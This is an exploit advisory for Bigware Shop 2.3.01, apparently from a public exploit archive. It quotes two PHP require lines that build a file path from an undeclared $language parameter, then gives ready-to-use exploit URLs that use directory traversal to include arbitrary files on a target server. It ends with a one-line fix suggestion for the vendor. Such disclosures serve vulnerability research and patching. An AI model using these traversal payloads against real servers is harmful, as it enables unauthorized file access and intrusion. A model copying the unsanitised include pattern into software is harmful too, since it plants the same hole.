Bigware Shop 2.3.01 - Multiple Local File Inclusions

# Title: Bigware Shop 2.3.01 Multiple Local File Inclusion Vulnerabilities
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Vendor: http://www.bigware.de
# Download: http://www.bigware.de/download/bigware_software_-_vollversion/Bigware_Shop.zip


Proof-of-Concept1:

/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_12.php source-line 58
**********************************************************************
require ( dirname(dirname(__FILE__)).'/language/'.$language.'.php');
**********************************************************************

[+]Sploit1: http://[target]/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_12.php?language=/../../../../yourFILE.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Proof-of-Concept2: 

/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_115.php source-line 56
*********************************************************************
require ( dirname(dirname(__FILE__)).'/language/'.$language.'.php');
********************************************************************* 

[+]Sploit: http://[target]/Bigware_Shop/modules/basic_pricing/configmain/main_bigware_115.php?language=/../../../../yourFILE.php


=> Vuln-Description: The $language-parameter isn't declared. So an attacker can readin'.
=> Vendor-Solution: Please declare this parameter before require. 



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